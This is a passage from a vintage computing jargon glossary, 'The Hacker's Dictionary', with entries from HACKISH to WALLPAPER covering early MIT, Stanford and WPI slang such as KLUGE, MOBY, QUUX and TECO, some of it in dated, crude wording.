and people who fit them congregate.) 6. A malicious or inquisitive

meddler who tries to discover information by poking around. Hence

"password hacker", "network hacker".

HACKISH adj. Being or involving a hack. HACKISHNESS n.

HAIR n. The complications which make something hairy. "Decoding TECO

commands requires a certain amount of hair." Often seen in the

phrase INFINITE HAIR, which connotes extreme complexity.

HAIRY adj. 1. Overly complicated. "DWIM is incredibly hairy." 2.

Incomprehensible. "DWIM is incredibly hairy." 3. Of people,

high-powered, authoritative, rare, expert, and/or incomprehensible.

Hard to explain except in context: "He knows this hairy lawyer who

says there's nothing to worry about."

HAKMEM n. MIT AI Memo 239 (February 1972). A collection of neat

mathematical and programming hacks contributed by many people

at MIT and elsewhere.

HANDWAVE 1. v. To gloss over a complex point; to distract a listener;

to support a (possibly actually valid) point with blatantly faulty

logic. 2. n. The act of handwaving. "Boy, what a handwave!" The

use of this word is often accompanied by gestures: both hands up,

palms forward, swinging the hands in a vertical plane pivoting at

the elbows and/or shoulders (depending on the magnitude of the

handwave); alternatively, holding the forearms still while rotating

the hands at the wrist to make them flutter. In context, the

gestures alone can suffice as a remark.

HARDWARILY adv. In a way pertaining to hardware. "The system is

hardwarily unreliable." The adjective "hardwary" is NOT used. See

SOFTWARILY.

HELLO WALL See WALL.

HIRSUTE Occasionally used humorously as a synonym for HAIRY.

HOOK n. An extraneous piece of software or hardware included in order

to simplify later additions or debug options. For instance, a

program might execute a location that is normally a JFCL, but by

changing the JFCL to a PUSHJ one can insert a debugging routine at

that point.

HUMONGOUS, HUMUNGOUS See HUNGUS.

HUNGUS (hung'ghis) [perhaps related to current slang "humongous";

which one came first (if either) is unclear] adj. Large, unwieldy,

usually unmanageable. "TCP is a hungus piece of code." "This is a

hungus set of modifications."

IMPCOM See TELNET.

INFINITE adj. Consisting of a large number of objects; extreme. Used

very loosely as in: "This program produces infinite garbage."

IRP (erp) [from the MIDAS pseudo-op which generates a block of code

repeatedly, substituting in various places the car and/or cdr of

the list(s) supplied at the IRP] v. To perform a series of tasks

repeatedly with a minor substitution each time through. "I guess

I'll IRP over these homework papers so I can give them some random

grade for this semester."

JFCL (djif'kl or dja-fik'l) [based on the PDP-10 instruction that acts

as a fast no-op] v. To cancel or annul something. "Why don't you

jfcl that out?" [The licence plate on Geoff Goodfellow's BMW is

JFCL.]

***** End of "The Hackers Dictionary", part 2 of 4 *****

"The Hacker's Dictionary"Part 3 of 4 (22k)

JIFFY n. 1. Interval of CPU time, commonly 1/60 second or 1

millisecond. 2. Indeterminate time from a few seconds to forever.

"I'll do it in a jiffy" means certainly not now and possibly never.

JOCK n. Programmer who is characterized by large and somewhat brute

force programs. The term is particularly well-suited for systems

programmers.

J. RANDOM See RANDOM.

JRST (jerst) [based on the PDP-10 jump instruction] v. To suddenly

change subjects. Usage: rather rare. "Jack be nimble, Jack be

quick; Jack jrst over the candle stick."

JSYS (jay'sis), pl. JSI (jay'sigh) [Jump to SYStem] See UUO.

KLUGE (kloodj) alt. KLUDGE [from the German "kluge", clever] n. 1. A

Rube Goldberg device in hardware or software. 2. A clever

programming trick intended to solve a particular nasty case in an

efficient, if not clear, manner. Often used to repair bugs. Often

verges on being a crock. 3. Something that works for the wrong

reason. 4. v. To insert a kluge into a program. "I've kluged this

routine to get around that weird bug, but there's probably a better

way." Also KLUGE UP. 5. KLUGE AROUND: To avoid by inserting a

kluge. 6. (WPI) A feature which is implemented in a RUDE manner.

LDB (lid'dib) [from the PDP-10 instruction set] v. To extract from the

middle.

LIFE n. A cellular-automata game invented by John Horton Conway, and

first introduced publicly by Martin Gardner (Scientific American,

October 1970).

LINE FEED (standard ASCII terminology) 1. v. To feed the paper through

a terminal by one line (in order to print on the next line). 2. n.

The "character" which causes the terminal to perform this action.

LINE STARVE (MIT) Inverse of LINE FEED.

LOGICAL [from the technical term "logical device", wherein a physical

device is referred to by an arbitrary name] adj. Understood to have

a meaning not necessarily corresponding to reality. E.g., if a

person who has long held a certain post (e.g., Les Earnest at SAIL)

left and was replaced, the replacement would for a while be known

as the "logical Les Earnest". The word VIRTUAL is also used. At

SAIL, "logical" compass directions denote a coordinate system in

which "logical north" is toward San Francisco, "logical west" is

toward the ocean, etc., even though logical north varies between

physical (true) north near SF and physical west near San Jose.

(The best rule of thumb here is that El Camino Real by definition

always runs logical north-and-south.)

LOSE [from MIT jargon] v. 1. To fail. A program loses when it

encounters an exceptional condition. 2. To be exceptionally

unaesthetic. 3. Of people, to be obnoxious or unusually stupid (as

opposed to ignorant). 4. DESERVE TO LOSE: v. Said of someone who

willfully does the wrong thing; humorously, if one uses a feature

known to be marginal. What is meant is that one deserves the

consequences of one's losing actions. "Boy, anyone who tries to

use MULTICS deserves to lose!"

LOSE LOSE - a reply or comment on a situation.

LOSER n. An unexpectedly bad situation, program, programmer, or

person. Especially "real loser".

LOSS n. Something which loses. WHAT A (MOBY) LOSS!: interjection.

LOSSAGE n. The result of a bug or malfunction.

LPT (lip'it) n. Line printer, of course.

LUSER See USER.

MACROTAPE n. An industry standard reel of tape, as opposed to a

MICROTAPE.

MAGIC adj. 1. As yet unexplained, or too complicated to explain.

(Arthur C. Clarke once said that magic was as-yet-not-understood

science.) "TTY echoing is controlled by a large number of magic

bits." "This routine magically computes the parity of an eight-bit

byte in three instructions." 2. (Stanford) A feature not generally

publicized which allows something otherwise impossible, or a

feature formerly in that category but now unveiled. Example: The

keyboard commands which override the screen-hiding features.

MARGINAL adj. 1. Extremely small. "A marginal increase in core can

decrease GC time drastically." See EPSILON. 2. Of extremely small

merit. "This proposed new feature seems rather marginal to me."

3. Of extremely small probability of winning. "The power supply

was rather marginal anyway; no wonder it crapped out." 4.

MARGINALLY: adv. Slightly. "The ravs here are only marginally

better than at Small Eating Place."

MICROTAPE n. Occasionally used to mean a DECtape, as opposed to a

MACROTAPE. This was the official DEC term for the stuff until

someone consed up the word "DECtape".

MISFEATURE n. A feature which eventually screws someone, possibly

because it is not adequate for a new situation which has evolved.

It is not the same as a bug because fixing it involves a gross

philosophical change to the structure of the system involved.

Often a former feature becomes a misfeature because a tradeoff was

made whose parameters subsequently changed (possibly only in the

judgment of the implementors). "Well, yeah, it's kind of a

misfeature that file names are limited to six characters, but we're

stuck with it for now."

MOBY [seems to have been in use among model railroad fans years ago.

Entered the world of AI with the Fabritek 256K moby memory of

MIT-AI. Derived from Melville's "Moby Dick" (some say from "Moby

Pickle").] 1. adj. Large, immense, or complex. "A moby frob." 2.

n. The maximum address space of a machine, hence 3. n. 256K words,

the size of a PDP-10 moby. (The maximum address space means the

maximum normally addressable space, as opposed to the amount of

physical memory a machine can have. Thus the MIT PDP-10s each have

two mobies, usually referred to as the "low moby" (0-777777) and

"high moby" (1000000-1777777), or as "moby 0" and "moby 1". MIT-AI

has four mobies of address space: moby 2 is the PDP-6 memory, and

moby 3 the PDP-11 interface.) In this sense "moby" is often used

as a generic unit of either address space (18. bits' worth) or of

memory (about a megabyte, or 9/8 megabyte (if one accounts for

difference between 32.- and 36.-bit words), or 5/4 megacharacters).

4. A title of address (never of third-person reference), usually

used to show admiration, respect, and/or friendliness to a

competent hacker. "So, moby Knight, how's the CONS machine doing?"

5. adj. In backgammon, doubles on the dice, as in "moby sixes",

"moby ones", etc.

MOBY FOO, MOBY WIN, MOBY LOSS: standard emphatic forms.

FOBY MOO: a spoonerism due to Greenblatt.

MODE n. A general state, usually used with an adjective describing the

state. "No time to hack; I'm in thesis mode." Usage: in its

jargon sense, MODE is most often said of people, though it is

sometimes applied to programs and inanimate objects. "If you're on

a TTY, E will switch to non-display mode." In particular, see DAY

MODE, NIGHT MODE, and YOYO MODE; also COM MODE, TALK MODE, and

GABRIEL MODE.

MODULO prep. Except for. From mathematical terminology: one can

consider saying that 4=22 "except for the 9's" (4=22 mod 9).

"Well, LISP seems to work okay now, modulo that GC bug."

MOON n. 1. A celestial object whose phase is very important to

hackers. See PHASE OF THE MOON. 2. Dave Moon (MOON@MC).

MUMBLAGE n. The topic of one's mumbling (see MUMBLE). "All that

mumblage" is used like "all that stuff" when it is not quite clear

what it is or how it works, or like "all that crap" when "mumble"

is being used as an implicit replacement for obscenities.

MUMBLE interj. 1. Said when the correct response is either too

complicated to enunciate or the speaker has not thought it out.

Often prefaces a longer answer, or indicates a general reluctance

to get into a big long discussion. "Well, mumble." 2. Sometimes

used as an expression of disagreement. "I think we should buy it."

"Mumble!" Common variant: MUMBLE FROTZ. 3. Yet another

metasyntactic variable, like FOO.

MUNCH (often confused with "mung", q.v.) v. To transform information

in a serial fashion, often requiring large amounts of computation.

To trace down a data structure. Related to CRUNCH (q.v.), but

connotes less pain.

MUNCHING SQUARES n. A display hack dating back to the PDP-1, which

employs a trivial computation (involving XOR'ing of x-y display

coordinates - see HAKMEM items 146-148) to produce an impressive

display of moving, growing, and shrinking squares. The hack

usually has a parameter (usually taken from toggle switches) which

when well-chosen can produce amazing effects. Some of these,

discovered recently on the LISP machine, have been christened

MUNCHING TRIANGLES, MUNCHING W'S, and MUNCHING MAZES.

MUNG (variant: MUNGE) [recursive acronym for Mung Until No Good] v. 1.

To make changes to a file, often large-scale, usually irrevocable.

Occasionally accidental. See BLT. 2. To destroy, usually

accidentally, occasionally maliciously. The system only mungs

things maliciously.

N adj. 1. Some large and indeterminate number of objects; "There were

N bugs in that crock!"; also used in its original sense of a

variable name. 2. An arbitrarily large (and perhaps infinite)

number. 3. A variable whose value is specified by the current

context. "We'd like to order N wonton soups and a family dinner

for N-1." 4. NTH: adj. The ordinal counterpart of N. "Now for the

Nth and last time..." In the specific context "Nth-year grad

student", N is generally assumed to be at least 4, and is usually 5

or more. See also 69.

NIGHT MODE See PHASE (of people).

NIL [from LISP terminology for "false"] No. Usage: used in reply to a

question, particularly one asked using the "-P" convention. See T.

OBSCURE adj. Used in an exaggeration of its normal meaning, to imply a

total lack of comprehensibility. "The reason for that last crash

is obscure." "FIND's command syntax is obscure." MODERATELY

OBSCURE implies that it could be figured out but probably isn't

worth the trouble.

OPEN n. Abbreviation for "open (or left) parenthesis", used when

necessary to eliminate oral ambiguity. To read aloud the LISP form

(DEFUN FOO (X) (PLUS X 1)) one might say: "Open def-fun foo, open

eks close, open, plus ekx one, close close." See CLOSE.

PARSE [from linguistic terminology] v. 1. To determine the syntactic

structure of a sentence or other utterance (close to the standard

English meaning). Example: "That was the one I saw you." "I can't

parse that." 2. More generally, to understand or comprehend.

"It's very simple; you just kretch the glims and then aos the

zotz." "I can't parse that." 3. Of fish, to have to remove the

bones yourself (usually at a Chinese restaurant). "I object to

parsing fish" means "I don't want to get a whole fish, but a sliced

one is okay." A "parsed fish" has been deboned. There is some

controversy over whether "unparsed" should mean "bony", or also

mean "deboned".

PATCH 1. n. A temporary addition to a piece of code, usually as a

quick-and-dirty remedy to an existing bug or misfeature. A patch

may or may not work, and may or may not eventually be incorporated

permanently into the program. 2. v. To insert a patch into a piece

of code.

PDL (piddle or puddle) [acronym for Push Down List] n. 1. A LIFO queue

(stack); more loosely, any priority queue; even more loosely, any

queue. A person's pdl is the set of things he has to do in the

future. One speaks of the next project to be attacked as having

risen to the top of the pdl. "I'm afraid I've got real work to do,

so this'll have to be pushed way down on my pdl." See PUSH and

POP. 2. Dave Lebling (PDL@DM).

PESSIMAL [Latin-based antonym for "optimal"] adj. Maximally bad.

"This is a pessimal situation."

PESSIMIZING COMPILER n. A compiler that produces object code that is

worse than the straightforward or obvious translation.

PHANTOM n. (Stanford) The SAIL equivalent of a DRAGON (q.v.). Typical

phantoms include the accounting program, the news-wire monitor, and

the lpt and xgp spoolers.

PHASE (of people) 1. n. The phase of one's waking-sleeping schedule

with respect to the standard 24-hour cycle. This is a useful

concept among people who often work at night according to no fixed

schedule. It is not uncommon to change one's phase by as much as

six hours/day on a regular basis. "What's your phase?" "I've been

getting in about 8 PM lately, but I'm going to work around to the

day schedule by Friday." A person who is roughly 12 hours out of

phase is sometimes said to be in "night mode". (The term "day

mode" is also used, but less frequently.) 2. CHANGE PHASE THE HARD

WAY: To stay awake for a very long time in order to get into a

different phase. 3. CHANGE PHASE THE EASY WAY: To stay asleep etc.

PHASE OF THE MOON n. Used humorously as a random parameter on which

something is said to depend. Sometimes implies unreliability of

whatever is dependent, or that reliability seems to be dependent on

conditions nobody has been able to determine. "This feature

depends on having the channel open in mumble mode, having the foo

switch set, and on the phase of the moon."

PLUGH [from the Adventure game] v. See XYZZY.

POM n. Phase of the moon (q.v.). Usage: usually used in the phrase

"POM dependent" which means flakey (q.v.).

POP [based on the stack operation that removes the top of a stack, and

the fact that procedure return addresses are saved on the stack]

dialect: POPJ (pop-jay), based on the PDP-10 procedure return

instruction. v. To return from a digression. By verb doubling,

"Popj, popj" means roughly, "Now let's see, where were we?"

PPN (pip'in) [DEC terminology, short for Project-Programmer Number] n.

1. A combination `project' (directory name) and programmer name,

used to identify a specific directory belonging to that user. For

instance, "FOO,BAR" would be the FOO directory for user BAR. Since

the name is restricted to three letters, the programmer name is

usually the person's initials, though sometimes it is a nickname or

other special sequence. (Standard DEC setup is to have two octal

numbers instead of characters; hence the original acronym.) 2.

Often used loosely to refer to the programmer name alone. "I want

to send you some mail; what's your ppn?" Usage: not used at MIT,

since ITS does not use ppn's. The equivalent terms would be UNAME

and SNAME, depending on context, but these are not used except in

their technical senses.

PROTOCOL See DO PROTOCOL.

PSEUDOPRIME n. A backgammon prime (six consecutive occupied points)

with one point missing.

PTY (pity) n. Pseudo TTY, a simulated TTY used to run a job under the

supervision of another job.

PTYJOB (pity-job) n. The job being run on the PTY. Also a common

general-purpose program for creating and using PTYs.

This is DEC and SAIL terminology; the MIT equivalent is STY.

PUNT [from the punch line of an old joke: "Drop back 15 yards and

punt"] v. To give up, typically without any intention of retrying.

PUSH [based on the stack operation that puts the current information

on a stack, and the fact that procedure call addresses are saved on

the stack] dialect: PUSHJ (push-jay), based on the PDP-10 procedure

call instruction. v. To enter upon a digression, to save the

current discussion for later.

QUES (kwess) 1. n. The question mark character ("?"). 2. interj.

What? Also QUES QUES? See WALL.

QUUX [invented by Steele. Mythically, from the Latin semi-deponent

verb QUUXO, QUUXARE, QUUXANDUM IRI; noun form variously QUUX

(plural QUUCES, Anglicized to QUUXES) and QUUXU (genitive plural is

QUUXUUM, four U's in seven letters).] 1. Originally, a meta-word

like FOO and FOOBAR. Invented by Guy Steele for precisely this

purpose when he was young and naive and not yet interacting with

the real computing community. Many people invent such words; this

one seems simply to have been lucky enough to have spread a little.

2. interj. See FOO; however, denotes very little disgust, and is

uttered mostly for the sake of the sound of it. 3. n. Refers to

one of four people who went to Boston Latin School and eventually

to MIT:

THE GREAT QUUX: Guy L. Steele Jr.

THE LESSER QUUX: David J. Littleboy

THE MEDIOCRE QUUX: Alan P. Swide

THE MICRO QUUX: Sam Lewis

(This taxonomy is said to be similarly applied to three Frankston

brothers at MIT.) QUUX, without qualification, usually refers to

The Great Quux, who is somewhat infamous for light verse and for

the "Crunchly" cartoons. 4. QUUXY: adj. Of or pertaining to a

QUUX.

RANDOM adj. 1. Unpredictable (closest to mathematical definition);

weird. "The system's been behaving pretty randomly." 2. Assorted;

undistinguished. "Who was at the conference?" "Just a bunch of

random business types." 3. Frivolous; unproductive; undirected

(pejorative). "He's just a random loser." 4. Incoherent or

inelegant; not well organized. "The program has a random set of

misfeatures." "That's a random name for that function." "Well,

all the names were chosen pretty randomly." 5. Gratuitously wrong,

i.e., poorly done and for no good apparent reason. For example, a

program that handles file name defaulting in a particularly useless

way, or a routine that could easily have been coded using only

three ac's, but randomly uses seven for assorted non-overlapping

purposes, so that no one else can invoke it without first saving

four extra ac's. 6. In no particular order, though deterministic.

"The I/O channels are in a pool, and when a file is opened one is

chosen randomly." n. 7. A random hacker; used particularly of high

school students who soak up computer time and generally get in the

way. 8. (occasional MIT usage) One who lives at Random Hall.

J. RANDOM is often prefixed to a noun to make a "name" out of it

(by comparison to common names such as "J. Fred Muggs"). The most

common uses are "J. Random Loser" and "J. Random Nurd" ("Should

J. Random Loser be allowed to gun down other people?"), but it

can be used just as an elaborate version of RANDOM in any sense.

[See also the note at the end of the entry for HACK.]

RANDOMNESS n. An unexplainable misfeature; gratuitous inelegance.

Also, a hack or crock which depends on a complex combination

of coincidences (or rather, the combination upon which the

crock depends). "This hack can output characters 40-57 by

putting the character in the accumulator field of an XCT and

then extracting 6 bits -- the low two bits of the XCT opcode

are the right thing." "What randomness!"

RAPE v. To (metaphorically) screw someone or something, violently.

Usage: often used in describing file-system damage. "So-and-so was

running a program that did absolute disk I/O and ended up raping

the master directory."

RAVE (WPI) v. 1. To persist in discussing a specific subject. 2. To

speak authoritatively on a subject about which one knows very

little. 3. To complain to a person who is not in a position to

correct the difficulty. 4. To purposely annoy another person

verbally. 5. To evangelize. See FLAME. Also used to describe

a less negative form of blather, such as friendly bullshitting.

REAL USER n. 1. A commercial user. One who is paying "real" money for

his computer usage. 2. A non-hacker. Someone using the system for

an explicit purpose (research project, course, etc.). See USER.

REAL WORLD, THE n. 1. In programming, those institutions at which

programming may be used in the same sentence as FORTRAN, COBOL,

RPG, IBM, etc. 2. To programmers, the location of non-programmers

and activities not related to programming. 3. A universe in which

the standard dress is shirt and tie and in which a person's working

hours are defined as 9 to 5. 4. The location of the status quo.

5. Anywhere outside a university. "Poor fellow, he's left MIT and

gone into the real world." Used pejoratively by those not in

residence there. In conversation, talking of someone who has

entered the real world is not unlike talking about a deceased

person.

RECURSION n. See RECURSION, TAIL RECURSION.

REL See BIN.

RIGHT THING, THE n. That which is "obviously" the correct or

appropriate thing to use, do, say, etc. Use of this term often

implies that in fact reasonable people may disagree. "Never let

your conscience keep you from doing the right thing!" "What's the

right thing for LISP to do when it reads '(.)'?"

RUDE (WPI) adj. 1. (of a program) Badly written. 2. Functionally

poor, e.g. a program which is very difficult to use because of

gratuitously poor (random?) design decisions. See CUSPY.

SACRED adj. Reserved for the exclusive use of something (a

metaphorical extension of the standard meaning). "Accumulator 7 is

sacred to the UUO handler." Often means that anyone may look at

the sacred object, but clobbering it will screw whatever it is

sacred to.

SAGA (WPI) n. A cuspy but bogus raving story dealing with N random

broken people.

SAV (save) See BIN.

SEMI 1. n. Abbreviation for "semicolon", when speaking. "Commands to

GRIND are prefixed by semi-semi-star" means that the prefix is

";;*", not 1/4 of a star. 2. Prefix with words such as

"immediately", as a qualifier. "When is the system coming up?"

"Semi-immediately."

SERVER n. A kind of DAEMON which performs a service for the requester,

which often runs on a computer other than the one on which the

server runs.

SHIFT LEFT (RIGHT) LOGICAL [from any of various machines' instruction

sets] 1. v. To move oneself to the left (right). To move out of

the way. 2. imper. Get out of that (my) seat! Usage: often used

without the "logical", or as "left shift" instead of "shift left".

Sometimes heard as LSH (lish), from the PDP-10 instruction set.

SHR (share or shir) See BIN.

SHRIEK See EXCL. (Occasional CMU usage.)

69 adj. Large quantity. Usage: Exclusive to MIT-AI. "Go away, I have

69 things to do to DDT before worrying about fixing the bug in the

phase of the moon output routine..."

[Note: Actually, any number less than 100 but large enough to have

no obvious magic properties will be recognized as a "large number".

There is no denying that "69" is the local favorite. I don't know

whether its origins are related to the obscene interpretation, but

I do know that 69 decimal = 105 octal, and 69 hexadecimal = 105

decimal, which is a nice property. - GLS]

***** End of "The Hackers Dictionary", part 3 of 4 *****

"The Hacker's Dictionary"Part 4 of 4 (19k)

SLOP n. 1. A one-sided fudge factor (q.v.). Often introduced to avoid

the possibility of a fencepost error (q.v.). 2. (used by compiler

freaks) The ratio of code generated by a compiler to hand-compiled

code, minus 1; i.e., the space (or maybe time) you lose because you

didn't do it yourself.

SLURP v. To read a large data file entirely into core before working

on it. "This program slurps in a 1K-by-1K matrix and does an FFT."

SMART adj. Said of a program that does the Right Thing (q.v.) in a

wide variety of complicated circumstances. There is a difference

between calling a program smart and calling it intelligent; in

particular, there do not exist any intelligent programs.

SMOKING CLOVER n. A psychedelic color munch due to Gosper.

SMOP [Simple (or Small) Matter of Programming] n. A piece of code, not

yet written, whose anticipated length is significantly greater than

its complexity. Usage: used to refer to a program that could

obviously be written, but is not worth the trouble.

SNARF v. To grab, esp. a large document or file for the purpose of

using it either with or without the author's permission. See BLT.

Variant: SNARF (IT) DOWN. (At MIT on ITS, DDT has a command called

:SNARF which grabs a job from another (inferior) DDT.)

SOFTWARE ROT n. Hypothetical disease the existence of which has been

deduced from the observation that unused programs or features will

stop working after sufficient time has passed, even if "nothing has

changed". Also known as "bit decay".

SOFTWARILY adv. In a way pertaining to software. "The system is

softwarily unreliable." The adjective "softwary" is NOT used. See

HARDWARILY.

SOS 1. (ess-oh-ess) n. A losing editor, SON OF STOPGAP. 2. (sahss) v.

Inverse of AOS, from the PDP-10 instruction set.

SPAZZ 1. v. To behave spastically or erratically; more often, to

commit a single gross error. "Boy, is he spazzing!" 2. n. One who

spazzes. "Boy, what a spazz!" 3. n. The result of spazzing.

"Boy, what a spazz!"

SPLAT n. 1. Name used in many places (DEC, IBM, and others) for the

ASCII star ("*") character. 2. (MIT) Name used by some people for

the ASCII pound-sign ("#") character. 3. (Stanford) Name used by

some people for the Stanford/ITS extended ASCII circle-x character.

(This character is also called "circle-x", "blobby", and "frob",

among other names.) 4. (Stanford) Name for the semi-mythical

extended ASCII circle-plus character. 5. Canonical name for an

output routine that outputs whatever the the local interpretation

of splat is. Usage: nobody really agrees what character "splat"

is, but the term is common.

SUPDUP v. To communicate with another ARPAnet host using the SUPDUP

program, which is a SUPer-DUPer TELNET talking a special display

protocol used mostly in talking to ITS sites. Sometimes

abbreviated to SD.

STATE n. Condition, situation. "What's the state of NEWIO?" "It's

winning away." "What's your state?" "I'm about to gronk out." As

a special case, "What's the state of the world?" (or, more silly,

"State-of-world-P?") means "What's new?" or "What's going on?"

STOPPAGE n. Extreme lossage (see LOSSAGE) resulting in something

(usually vital) becoming completely unusable.

STY (pronounced "sty", not spelled out) n. A pseudo-teletype, which is

a two-way pipeline with a job on one end and a fake keyboard-tty on

the other. Also, a standard program which provides a pipeline from

its controlling tty to a pseudo-teletype (and thence to another

tty, thereby providing a "sub-tty").

This is MIT terminology; the SAIL and DEC equivalent is PTY.

SUPERPROGRAMMER n. See "wizard", "hacker". Usage: rare. (Becoming

more common among IBM and Yourdon types.)

SWAPPED adj. From the use of secondary storage devices to implement

virtual memory in computer systems. Something which is SWAPPED IN

is available for immediate use in main memory, and otherwise is

SWAPPED OUT. Often used metaphorically to refer to people's

memories ("I read TECO ORDER every few months to keep the

information swapped in.") or to their own availability ("I'll swap

you in as soon as I finish looking at this other problem.").

SYSTEM n. 1. The supervisor program on the computer. 2. Any

large-scale program. 3. Any method or algorithm. 4. The way

things are usually done. Usage: a fairly ambiguous word. "You

can't beat the system."

SYSTEM HACKER: one who hacks the system (in sense 1 only; for sense

2 one mentions the particular program: e.g., LISP HACKER)

T [from LISP terminology for "true"] 1. Yes. Usage: used in reply to

a question, particularly one asked using the "-P" convention). See

NIL. 2. See TIME T.

TAIL RECURSION n. See TAIL RECURSION.

TALK MODE See COM MODE.

TASTE n. (primarily MIT-DMS) The quality in programs which tends to be

inversely proportional to the number of features, hacks, and kluges

programmed into it. Also, TASTY, TASTEFUL, TASTEFULNESS. "This

feature comes in N tasty flavors." Although TASTEFUL and FLAVORFUL

are essentially synonyms, TASTE and FLAVOR are not.

TECO (tee'koe) [acronym for Text Editor and COrrector] 1. n. A text

editor developed at MIT, and modified by just about everybody. If

all the dialects are included, TECO might well be the single most

prolific editor in use. Noted for its powerful pseudo-programming

features and its incredibly hairy syntax. 2. v. To edit using the

TECO editor in one of its infinite forms; sometimes used to mean

"to edit" even when not using TECO! Usage: rare at SAIL, where

most people wouldn't touch TECO with a TENEX pole.

[Historical note: DEC grabbed an ancient version of MIT TECO many

years ago when it was still a TTY-oriented editor. By now, TECO at

MIT is highly display-oriented and is actually a language for

writing editors, rather than an editor. Meanwhile, the outside

world's various versions of TECO remain almost the same as the MIT

version of ten years ago. DEC recently tried to discourage its

use, but an underground movement of sorts kept it alive.]

[Since this note was written I found out that DEC tried to force

their hackers by administrative decision to use a hacked up and

generally lobotomized version of SOS instead of TECO, and they

revolted. - MRC]

TELNET v. To communicate with another ARPAnet host using the TELNET

protocol. TOPS-10 people use the word IMPCOM since that is the

program name for them. Sometimes abbreviated to TN. "I usually TN

over to SAIL just to read the AP News."

TENSE adj. Of programs, very clever and efficient. A tense piece of

code often got that way because it was highly bummed, but sometimes

it was just based on a great idea. A comment in a clever display

routine by Mike Kazar: "This routine is so tense it will bring

tears to your eyes. Much thanks to Craig Everhart and James

Gosling for inspiring this hack attack." A tense programmer is one

who produces tense code.

TERPRI (tur'pree) [from the LISP 1.5 (and later, MacLISP) function to

start a new line of output] v. To output a CRLF (q.v.).

THEORY n. Used in the general sense of idea, plan, story, or set of

rules. "What's the theory on fixing this TECO loss?" "What's the

theory on dinner tonight?" ("Chinatown, I guess.") "What's the

current theory on letting losers on during the day?" "The theory

behind this change is to fix the following well-known screw..."

THRASH v. To move wildly or violently, without accomplishing anything

useful. Swapping systems which are overloaded waste most of their

time moving pages into and out of core (rather than performing

useful computation), and are therefore said to thrash.

TICK n. 1. Interval of time; basic clock time on the computer.

Typically 1/60 second. See JIFFY. 2. In simulations, the discrete

unit of time that passes "between" iterations of the simulation

mechanism. In AI applications, this amount of time is often left

unspecified, since the only constraint of interest is that caused

things happen after their causes. This sort of AI simulation is

often pejoratively referred to as "tick-tick-tick" simulation,

especially when the issue of simultaneity of events with long,

independent chains of causes is handwaved.

TIME T n. 1. An unspecified but usually well-understood time, often

used in conjunction with a later time T+1. "We'll meet on campus

at time T or at Louie's at time T+1." 2. SINCE (OR AT) TIME T

EQUALS MINUS INFINITY: A long time ago; for as long as anyone can

remember; at the time that some particular frob was first designed.

TOOL v.i. To work; to study. See HACK (def #9).

TRAP 1. n. A program interrupt, usually used specifically to refer to

an interrupt caused by some illegal action taking place in the user

program. In most cases the system monitor performs some action

related to the nature of the illegality, then returns control to

the program. See UUO. 2. v. To cause a trap. "These instructions

trap to the monitor." Also used transitively to indicate the cause

of the trap. "The monitor traps all input/output instructions."

TTY (titty) n. Terminal of the teletype variety, characterized by a

noisy mechanical printer, a very limited character set, and poor

print quality. Usage: antiquated (like the TTY's themselves).

Sometimes used to refer to any terminal at all; sometimes used

to refer to the particular terminal controlling a job.

TWEAK v. To change slightly, usually in reference to a value. Also

used synonymously with TWIDDLE. See FROBNICATE and FUDGE FACTOR.

TWENEX n. The TOPS-20 operating system by DEC. So named because

TOPS-10 was a typically crufty DEC operating system for the PDP-10.

BBN developed their own system, called TENEX (TEN EXecutive), and

in creating TOPS-20 for the DEC-20 DEC copied TENEX and adapted it

for the 20. Usage: DEC people cringe when they hear TOPS-20

referred to as "Twenex", but the term seems to be catching on

nevertheless. Release 3 of TOPS-20 is sufficiently different from

release 1 that some (not all) hackers have stopped calling it

TWENEX, though the written abbreviation "20x" is still used.

TWIDDLE n. 1. tilde (ASCII 176, "~"). Also called "squiggle",

"sqiggle" (sic--pronounced "skig'gul"), and "twaddle", but twiddle

is by far the most common term. 2. A small and insignificant

change to a program. Usually fixes one bug and generates several

new ones. 3. v. To change something in a small way. Bits, for

example, are often twiddled. Twiddling a switch or knob implies

much less sense of purpose than toggling or tweaking it; see

FROBNICATE.

UP adj. 1. Working, in order. "The down escalator is up." 2. BRING

UP: v. To create a working version and start it. "They brought up

a down system."

USER n. A programmer who will believe anything you tell him. One who

asks questions. Identified at MIT with "loser" by the spelling

"luser". See REAL USER.

[Note by GLS: I don't agree with RF's definition at all.

Basically, there are two classes of people who work with a program:

there are implementors (hackers) and users (losers). The users are

looked down on by hackers to a mild degree because they don't

understand the full ramifications of the system in all its glory.

(A few users who do are known as real winners.) It is true that

users ask questions (of necessity). Very often they are annoying

or downright stupid.]

UUO (you-you-oh) [short for "Un-Used Operation"] n. A DEC-10 system

monitor call. The term "Un-Used Operation" comes from the fact

that, on DEC-10 systems, monitor calls are implemented as invalid

or illegal machine instructions, which cause traps to the monitor

(see TRAP). The SAIL manual describing the available UUO's has a

cover picture showing an unidentified underwater object. See YOYO.

[Note: DEC sales people have since decided that "Un-Used Operation"

sounds bad, so UUO now stands for "Unimplemented User Operation".]

Tenex and Twenex systems use the JSYS machine instruction (q.v.),

which is halfway between a legal machine instruction and a UUO,

since KA-10 Tenices implement it as a hardware instruction which

can be used as an ordinary subroutine call (sort of a "pure JSR").

VANILLA adj. Ordinary flavor, standard. See FLAVOR. When used of

food, very often does not mean that the food is flavored with

vanilla extract! For example, "vanilla-flavored wonton soup" (or

simply "vanilla wonton soup") means ordinary wonton soup, as

opposed to hot and sour wonton soup.

VAXEN [from "oxen", perhaps influenced by "vixen"] n. pl. The plural

of VAX (a DEC machine).

VIRGIN adj. Unused, in reference to an instantiation of a program.

"Let's bring up a virgin system and see if it crashes again."

Also, by extension, unused buffers and the like within a program.

VIRTUAL adj. 1. Common alternative to LOGICAL (q.v.), but never used

with compass directions. 2. Performing the functions of. Virtual

memory acts like real memory but isn't.

VISIONARY n. One who hacks vision (in an AI context, such as the

processing of visual images).

WALDO [probably taken from the story "Waldo", by Heinlein, which is

where the term was first used to mean a mechanical adjunct to a

human limb] Used at Harvard, particularly by Tom Cheatham and

students, instead of FOOBAR as a meta-syntactic variable and

general nonsense word. See FOO, BAR, FOOBAR, QUUX.

WALL [shortened form of HELLO WALL, apparently from the phrase "up

against a blank wall"] (WPI) interj. 1. An indication of confusion,

usually spoken with a quizzical tone. "Wall??" 2. A request for

further explication.

WALLPAPER n. A file containing a listing (e.g., assembly listing) or

transcript, esp. a file containing a transcript of all or part of a

login session. (The idea was that the LPT paper for such listings

was essentially good only for wallpaper, as evidenced at SAIL where

it was used as such to cover windows.) Usage: not often used now,

esp. since other systems have developed other terms for it (e.g.,

PHOTO on TWENEX). The term possibly originated on ITS, where the

